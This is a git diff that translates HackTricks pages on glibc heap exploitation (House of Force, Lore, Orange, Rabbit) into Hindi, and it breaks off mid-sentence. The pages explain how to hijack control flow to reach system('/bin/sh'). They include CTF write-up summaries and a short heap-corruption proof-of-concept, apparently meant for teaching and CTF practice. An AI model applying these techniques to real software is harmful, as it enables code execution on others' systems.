b/src/binary-exploitation/libc-heap/house-of-force.md @@ -6,41 +6,39 @@ ### Code -- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size` - - You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want. +- यह तकनीक पैच की गई थी ([**यहाँ**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) और यह त्रुटि उत्पन्न करती है: `malloc(): corrupted top size` +- आप इसे परीक्षण करने के लिए [**कोड यहाँ से**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) आजमा सकते हैं यदि आप चाहें। ### Goal -- The goal of this attack is to be able to allocate a chunk in a specific address. +- इस हमले का लक्ष्य एक विशिष्ट पते पर एक चंक आवंटित करने में सक्षम होना है। ### Requirements -- An overflow that allows to overwrite the size of the top chunk header (e.g. -1). -- Be able to control the size of the heap allocation +- एक ओवरफ्लो जो शीर्ष चंक हेडर के आकार को ओवरराइट करने की अनुमति देता है (जैसे -1)। +- हीप आवंटन के आकार को नियंत्रित करने में सक्षम होना ### Attack -If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space. - -Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated: +यदि एक हमलावर P पते पर एक चंक आवंटित करना चाहता है ताकि यहाँ एक मान को ओवरराइट किया जा सके। वह शीर्ष चंक के आकार को `-1` से ओवरराइट करके शुरू करता है (शायद एक ओवरफ्लो के साथ)। यह सुनिश्चित करता है कि malloc किसी भी आवंटन के लिए mmap का उपयोग नहीं करेगा क्योंकि शीर्ष चंक के पास हमेशा पर्याप्त स्थान होगा। +फिर, शीर्ष चंक के पते और आवंटित करने के लिए लक्षित स्थान के बीच की दूरी की गणना करें। इसका कारण यह है कि उस आकार के साथ एक malloc किया जाएगा ताकि शीर्ष चंक को उस स्थिति में स्थानांतरित किया जा सके। इस प्रकार अंतर/आकार को आसानी से गणना किया जा सकता है: ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 /* - * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): - * new_top = old_top + nb - * nb = new_top - old_top - * req + 2sizeof(long) = new_top - old_top - * req = new_top - old_top - 2sizeof(long) - * req = target - 2sizeof(long) - old_top - 2sizeof(long) - * req = target - old_top - 4*sizeof(long) - */ +* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata): +* new_top = old_top + nb +* nb = new_top - old_top +* req + 2sizeof(long) = new_top - old_top +* req = new_top - old_top - 2sizeof(long) +* req = target - 2sizeof(long) - old_top - 2sizeof(long) +* req = target - old_top - 4*sizeof(long) +*/ ``` +इसलिए, `target - old_top - 4*sizeof(long)` का आकार आवंटित करना (4 longs शीर्ष टुकड़े और नए टुकड़े के मेटाडेटा के कारण है जब आवंटित किया जाता है) शीर्ष टुकड़े को उस पते पर ले जाएगा जिसे हम ओवरराइट करना चाहते हैं।\ +फिर, लक्ष्य पते पर एक टुकड़ा प्राप्त करने के लिए एक और malloc करें। -Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\ -Then, do another malloc to get a chunk at the target address. - -### References & Other Examples +### संदर्भ और अन्य उदाहरण - [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/) @@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address. - [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c) - [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11) - - The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function - - The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff) - - Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc` - - Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function +- इस परिदृश्य का लक्ष्य एक ret2win है जहां हमें उस फ़ंक्शन के पते को संशोधित करने की आवश्यकता है जिसे ret2win फ़ंक्शन के पते द्वारा कॉल किया जाएगा +- बाइनरी में एक ओवरफ्लो है जिसका दुरुपयोग शीर्ष टुकड़े के आकार को संशोधित करने के लिए किया जा सकता है, जिसे -1 या p64(0xffffffffffffffff) में संशोधित किया गया है +- फिर, उस स्थान के लिए पता निकाला जाता है जहां ओवरराइट करने के लिए पॉइंटर मौजूद है, और वहां से शीर्ष टुकड़े की वर्तमान स्थिति के बीच का अंतर `malloc` के साथ आवंटित किया जाता है +- अंततः एक नया टुकड़ा आवंटित किया जाता है जिसमें यह इच्छित लक्ष्य होता है जिसे ret2win फ़ंक्शन द्वारा ओवरराइट किया जाता है - [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) - - In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap - - Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**. - - Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh` - - An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`. +- `Input your name:` में एक प्रारंभिक भेद्यता है जो हीप से एक पता लीक करने की अनुमति देती है +- फिर `Org:` और `Host:` कार्यक्षमता में, **org name** के लिए पूछे जाने पर `s` पॉइंटर के 64B को भरना संभव है, जो स्टैक में v2 के पते के बाद आता है, जो फिर निर्दिष्ट **host name** के बाद आता है। चूंकि, strcpy `s` की सामग्री को 64B के आकार के टुकड़े में कॉपी करने जा रहा है, इसलिए **host name** के अंदर रखे गए डेटा के साथ **top chunk के आकार को ओवरराइट करना** संभव है। +- अब जब मनमाना लेखन संभव है, `atoi` का GOT printf के पते पर ओवरराइट किया गया। इसके साथ `%24$p` के साथ `IO_2_1_stderr` का पता लीक करना संभव था। और इस libc लीक के साथ `atoi` के GOT को फिर से `system` के पते के साथ ओवरराइट करना और इसे `/bin/sh` पास करते हुए कॉल करना संभव था +- एक वैकल्पिक विधि [इस अन्य लेख में प्रस्तावित](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud) है, `free` को `puts` के साथ ओवरराइट करना, और फिर उस पॉइंटर में `atoi@got` का पता जोड़ना जिसे बाद में मुक्त किया जाएगा ताकि यह लीक हो जाए और इस लीक के साथ फिर से `atoi@got` को `system` के साथ ओवरराइट किया जाए और इसे `/bin/sh` के साथ कॉल किया जाए। - [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) - - There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function. - - Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content. +- एक UAF है जो बिना पॉइंटर को साफ किए एक टुकड़े का पुन: उपयोग करने की अनुमति देता है। कुछ पढ़ने की विधियों के कारण, यह संभव है कि एक libc पता लीक किया जाए, यहाँ free फ़ंक्शन के लिए एक पॉइंटर लिखकर और फिर पढ़ने की फ़ंक्शन को कॉल करके। +- फिर, House of force का उपयोग किया गया (UAF का दुरुपयोग करते हुए) बाएं स्थान के आकार को -1 के साथ ओवरराइट करने के लिए, एक ऐसा टुकड़ा आवंटित करने के लिए जो मुक्त हुक तक पहुँचने के लिए पर्याप्त बड़ा हो, और फिर एक और टुकड़ा आवंटित करें जिसमें मुक्त हुक होगा। फिर, हुक में `system` का पता लिखें, एक टुकड़े में `"/bin/sh"` लिखें और अंततः उस स्ट्रिंग सामग्री के साथ टुकड़े को मुक्त करें। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md index 862ba7323..6bdb39419 100644 --- a/src/binary-exploitation/libc-heap/house-of-lore.md +++ b/src/binary-exploitation/libc-heap/house-of-lore.md @@ -6,37 +6,37 @@ ### Code -- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - - This isn't working -- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) - - This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected` -- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) +- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) से एक चेक करें +- यह काम नहीं कर रहा है +- या: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) +- यह काम नहीं कर रहा है भले ही यह कुछ चेक को बायपास करने की कोशिश करता है और त्रुटि मिलती है: `malloc(): unaligned tcache chunk detected` +- यह उदाहरण अभी भी काम कर रहा है: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) ### Goal -- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\ - Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position. +- एक **फर्जी छोटे चंक को छोटे बिन में डालें ताकि इसे आवंटित करना संभव हो सके**।\ +ध्यान दें कि जो छोटा चंक जोड़ा गया है वह हमलावर द्वारा बनाया गया फर्जी है और किसी मनमाने स्थान में नहीं है। ### Requirements -- Create 2 fake chunks and link them together and with the legit chunk in the small bin: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` +- 2 फर्जी चंक्स बनाएं और उन्हें एक साथ और छोटे बिन में वैध चंक के साथ लिंक करें: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit` (आपको किसी अन्य कमजोरियों के माध्यम से मुक्त छोटे बिन चंक में एक पॉइंटर को संशोधित करने की आवश्यकता है) +- `legit.bk` -> `fake0` -Then you will be able to allocate `fake0`. +फिर आप `fake0` को आवंटित करने में सक्षम होंगे। ### Attack -- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.** -- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks: - - `fake0.bk` -> `fake1` - - `fake1.fd` -> `fake0` - - `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln) - - `legit.bk` -> `fake0` -- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins -- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it. +- एक छोटा चंक (`legit`) आवंटित किया जाता है, फिर एक और आवंटित किया जाता है ताकि शीर्ष चंक के साथ समेकन को रोका जा सके। फिर, `legit` को मुक्त किया जाता है (इसे असंरचित बिन सूची में ले जाना) और एक बड़ा चंक आवंटित किया जाता है, **`legit` को छोटे बिन में ले जाना।** +- एक हमलावर कुछ फर्जी छोटे चंक्स उत्पन्न करता है, और आवश्यक लिंकिंग करता है ताकि सैनीटी चेक को बायपास किया जा सके: +- `fake0.bk` -> `fake1` +- `fake1.fd` -> `fake0` +- `fake0.fd` -> `legit` (आपको किसी अन्य कमजोरियों के माध्यम से मुक्त छोटे बिन चंक में एक पॉइंटर को संशोधित करने की आवश्यकता है) +- `legit.bk` -> `fake0` +- एक छोटा चंक आवंटित किया जाता है ताकि वैध प्राप्त किया जा सके, **`fake0`** को छोटे बिन की शीर्ष सूची में बना दिया जाए +- एक और छोटा चंक आवंटित किया जाता है, `fake0` को एक चंक के रूप में प्राप्त करते हुए, जिससे इसके अंदर पॉइंटर्स को पढ़ने/लिखने की संभावना हो। ## References diff --git a/src/binary-exploitation/libc-heap/house-of-orange.md b/src/binary-exploitation/libc-heap/house-of-orange.md index e57f477c6..170c29c59 100644 --- a/src/binary-exploitation/libc-heap/house-of-orange.md +++ b/src/binary-exploitation/libc-heap/house-of-orange.md @@ -7,7 +7,7 @@ ### Code - Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) - - The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26) +- The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26) - Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) ### Goal @@ -23,49 +23,49 @@ Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:** -Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\ -This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\ -Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution +बात यह है कि, libc के पुराने संस्करणों में, जब `malloc_printerr` फ़ंक्शन को कॉल किया जाता था, तो यह **`_IO_list_all`** में संग्रहीत `_IO_FILE` संरचनाओं की एक सूची के माध्यम से **आवर्तन** करता था, और वास्तव में उस संरचना में एक निर्देशांक प्वाइंटर को **निष्पादित** करता था।\ +यह हमला एक **नकली `_IO_FILE` संरचना** बनाएगा जिसे हम **`_IO_list_all`** में लिखेंगे, और `malloc_printerr` को चलाने का कारण बनेगा।\ +फिर यह **कोई भी पता** निष्पादित करेगा जो हमने **`_IO_FILE`** संरचनाओं की जंप तालिका में संग्रहीत किया है, और हमें कोड निष्पादन मिलेगा। ### Attack -The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set. +हमला **अनसॉर्टेड बिन** के अंदर **टॉप चंक** प्राप्त करने में सफल होने से शुरू होता है। यह `malloc` को एक आकार के साथ कॉल करके प्राप्त किया जाता है जो वर्तमान टॉप चंक आकार से बड़ा है लेकिन **`mmp_.mmap_threshold`** (डिफ़ॉल्ट 128K) से छोटा है, जो अन्यथा `mmap` आवंटन को ट्रिगर करेगा। जब भी टॉप चंक आकार को संशोधित किया जाता है, यह सुनिश्चित करना महत्वपूर्ण है कि **टॉप चंक + इसका आकार** पृष्ठ-संरेखित हो और कि टॉप चंक का **prev_inuse** बिट हमेशा सेट हो। -To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin. +अनसॉर्टेड बिन के अंदर टॉप चंक प्राप्त करने के लिए, एक चंक आवंटित करें ताकि टॉप चंक बनाया जा सके, टॉप चंक आकार को बदलें (आवंटित चंक में ओवरफ्लो के साथ) ताकि **टॉप चंक + आकार** पृष्ठ-संरेखित हो और **prev_inuse** बिट सेट हो। फिर एक चंक आवंटित करें जो नए टॉप चंक आकार से बड़ा हो। ध्यान दें कि `free` को कभी भी अनसॉर्टेड बिन में टॉप चंक प्राप्त करने के लिए कॉल नहीं किया जाता है। -The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), it’s possible to leak libc addresses from it and get the address of **\_IO_list_all**. +पुराना टॉप चंक अब अनसॉर्टेड बिन में है। मान लें कि हम इसके अंदर डेटा पढ़ सकते हैं (संभवतः एक भेद्यता के कारण जिसने ओवरफ्लो का कारण बना), तो इससे libc पते लीक करना और **\_IO_list_all** का पता प्राप्त करना संभव है। -An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**. +एक अनसॉर्टेड बिन हमला ओवरफ्लो का दुरुपयोग करके किया जाता है ताकि `topChunk->bk->fwd = _IO_list_all - 0x10` लिखा जा सके। जब एक नया चंक आवंटित किया जाता है, तो पुराना टॉप चंक विभाजित हो जाएगा, और अनसॉर्टेड बिन के लिए एक प्वाइंटर **`_IO_list_all`** में लिखा जाएगा। -The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes: +अगला कदम पुराने टॉप चंक के आकार को एक छोटे बिन में फिट करने के लिए कम करना है, विशेष रूप से इसके आकार को **0x61** पर सेट करना। इसका दो उद्देश्य हैं: -1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack. -2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`. +1. **छोटे बिन 4 में सम्मिलन**: जब `malloc` अनसॉर्टेड बिन के माध्यम से स्कैन करता है और इस चंक को देखता है, तो यह इसके छोटे आकार के कारण इसे छोटे बिन 4 में सम्मिलित करने की कोशिश करेगा। इससे चंक छोटे बिन 4 सूची के शीर्ष पर समाप्त हो जाएगा, जो **`_IO_list_all`** के चंक के FD प्वाइंटर का स्थान है क्योंकि हमने अनसॉर्टेड बिन हमले के माध्यम से **`_IO_list_all`** में एक निकट पता लिखा था। +2. **Malloc जांच को ट्रिगर करना**: इस चंक आकार के हेरफेर से `malloc` आंतरिक जांच करेगा। जब यह झूठे फॉरवर्ड चंक के आकार की जांच करता है, जो शून्य होगा, तो यह एक त्रुटि को ट्रिगर करता है और `malloc_printerr` को कॉल करता है। -The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed. +छोटे बिन का हेरफेर आपको चंक के फॉरवर्ड प्वाइंटर को नियंत्रित करने की अनुमति देगा। **\_IO_list_all** के साथ ओवरलैप का उपयोग एक नकली **\_IO_FILE** संरचना को बनाने के लिए किया जाता है। संरचना को सावधानीपूर्वक तैयार किया गया है ताकि इसमें `_IO_write_base` और `_IO_write_ptr` जैसे प्रमुख फ़ील्ड शामिल हों, जिन्हें libc में आंतरिक जांच पास करने के लिए सेट किया गया है। इसके अतिरिक्त, नकली संरचना के भीतर एक जंप तालिका बनाई जाती है, जहां एक निर्देशांक प्वाइंटर को उस पते पर सेट किया जाता है जहां मनमाना कोड (जैसे, `system` फ़ंक्शन) निष्पादित किया जा सकता है। -To summarize the remaining part of the technique: +तकनीक के शेष भाग का संक्षेप में वर्णन करें: -- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin. -- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow. +- **पुराने टॉप चंक को संकुचित करें**: छोटे बिन में फिट करने के लिए पुराने टॉप चंक के आकार को **0x61** पर समायोजित करें। +- **नकली `_IO_FILE` संरचना स्थापित करें**: पुराने टॉप चंक के साथ ओवरलैप करें और निष्पादन प्रवाह को हाईजैक करने के लिए फ़ील्ड को उपयुक्त रूप से सेट करें। -The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed. +अगला कदम एक नकली **\_IO_FILE** संरचना को बनाना है जो वर्तमान में अनसॉर्टेड बिन में पुराने टॉप चंक के साथ ओवरलैप करती है। इस संरचना के पहले बाइट्स को सावधानीपूर्वक तैयार किया गया है ताकि एक कमांड (जैसे, "/bin/sh") के लिए एक प्वाइंटर शामिल किया जा सके जिसे निष्पादित किया जाएगा। -Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands. +नकली **\_IO_FILE** संरचना में प्रमुख फ़ील्ड, जैसे `_IO_write_base` और `_IO_write_ptr`, को libc में आंतरिक जांच पास करने के लिए सेट किया गया है। इसके अतिरिक्त, नकली संरचना के भीतर एक जंप तालिका बनाई जाती है, जहां एक निर्देशांक प्वाइंटर को उस पते पर सेट किया जाता है जहां मनमाना कोड निष्पादित किया जा सकता है। आमतौर पर, यह `system` फ़ंक्शन का पता होगा या कोई अन्य फ़ंक्शन जो शेल कमांड निष्पादित कर सकता है। -The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed. +हमला तब समाप्त होता है जब `malloc` को कॉल करने से हेरफेर की गई **\_IO_FILE** संरचना के माध्यम से कोड का निष्पादन होता है। यह प्रभावी रूप से मनमाने कोड निष्पादन की अनुमति देता है, जो आमतौर पर एक शेल के उत्पन्न होने या अन्य दुर्भावनापूर्ण पेलोड के निष्पादन का परिणाम होता है। -**Summary of the Attack:** +**हमले का सारांश:** -1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size. -2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk. -3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin. -4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow. -5. **Shrink the old top chunk**: Adjust its size to fit into a small bin. -6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow. -7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code. +1. **टॉप चंक सेट करें**: एक चंक आवंटित करें और टॉप चंक आकार को संशोधित करें। +2. **टॉप चंक को अनसॉर्टेड बिन में मजबूर करें**: एक बड़ा चंक आवंटित करें। +3. **libc पते लीक करें**: अनसॉर्टेड बिन से पढ़ने के लिए भेद्यता का उपयोग करें। +4. **अनसॉर्टेड बिन हमला करें**: ओवरफ्लो का उपयोग करके **\_IO_list_all** में लिखें। +5. **पुराने टॉप चंक को संकुचित करें**: इसे छोटे बिन में फिट करने के लिए इसके आकार को समायोजित करें। +6. **नकली \_IO_FILE संरचना स्थापित करें**: नियंत्रण प्रवाह को हाईजैक करने के लिए एक नकली फ़ाइल संरचना बनाएं। +7. **कोड निष्पादन को ट्रिगर करें**: हमले को निष्पादित करने और मनमाने कोड को चलाने के लिए एक चंक आवंटित करें। -This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities. +यह दृष्टिकोण हीप प्रबंधन तंत्र, libc जानकारी लीक, और हीप ओवरफ्लो का लाभ उठाता है ताकि `free` को सीधे कॉल किए बिना कोड निष्पादन प्राप्त किया जा सके। नकली **\_IO_FILE** संरचना को सावधानीपूर्वक तैयार करके और इसे सही स्थान पर रखकर, हमला मानक मेमोरी आवंटन संचालन के दौरान नियंत्रण प्रवाह को हाईजैक कर सकता है। यह मनमाने कोड के निष्पादन की अनुमति देता है, जो संभावित रूप से एक शेल या अन्य दुर्भावनापूर्ण गतिविधियों का परिणाम हो सकता है। ## References diff --git a/src/binary-exploitation/libc-heap/house-of-rabbit.md b/src/binary-exploitation/libc-heap/house-of-rabbit.md index 230b7c63e..5434a131d 100644 --- a/src/binary-exploitation/libc-heap/house-of-rabbit.md +++ b/src/binary-exploitation/libc-heap/house-of-rabbit.md @@ -4,108 +4,90 @@ ### Requirements -1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size. -2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks. +1. **तेज बिन fd पॉइंटर या आकार को संशोधित करने की क्षमता**: इसका मतलब है कि आप तेज बिन में एक चंक के आगे के पॉइंटर या उसके आकार को बदल सकते हैं। +2. **`malloc_consolidate` को ट्रिगर करने की क्षमता**: यह एक बड़े चंक को आवंटित करके या शीर्ष चंक को मर्ज करके किया जा सकता है, जो हीप को चंक्स को समेकित करने के लिए मजबूर करता है। ### Goals -1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations. -2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations. +1. **ओवरलैपिंग चंक्स बनाना**: एक चंक को दूसरे के साथ ओवरलैप करने के लिए, जिससे आगे की हीप हेरफेर की अनुमति मिल सके। +2. **नकली चंक्स को फोर्ज करना**: आवंटक को एक नकली चंक को हीप ऑपरेशनों के दौरान एक वैध चंक के रूप में मानने के लिए धोखा देना। ## Steps of the attack -### POC 1: Modify the size of a fast bin chunk +### POC 1: तेज बिन चंक के आकार को संशोधित करें -**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk. - -- **Step 1: Allocate Chunks** +**Objective**: तेज बिन चंक के आकार को संशोधित करके एक ओवरलैपिंग चंक बनाना। +- **Step 1: चंक्स आवंटित करें** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 malloc(0x10); // Allocates a small chunk to change the fastbin state ``` - -We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed. +हम 0x40 बाइट्स के दो टुकड़े आवंटित करते हैं। इन टुकड़ों को मुक्त करने के बाद फास्ट बिन सूची में रखा जाएगा। - **Step 2: Free Chunks** - ```cpp free(chunk1); // Frees the chunk at 0x602000 free(chunk2); // Frees the chunk at 0x602050 ``` +हम दोनों चंक्स को मुक्त करते हैं, उन्हें फास्टबिन सूची में जोड़ते हैं। -We free both chunks, adding them to the fastbin list. - -- **Step 3: Modify Chunk Size** - +- **चरण 3: चंक आकार को संशोधित करें** ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` +हम `chunk1` के आकार के मेटाडेटा को 0xa1 में बदलते हैं। यह समेकन के दौरान आवंटक को धोखा देने के लिए एक महत्वपूर्ण कदम है। -We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation. - -- **Step 4: Trigger `malloc_consolidate`** - +- **चरण 4: `malloc_consolidate` को ट्रिगर करें** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` +एक बड़ा हिस्सा आवंटित 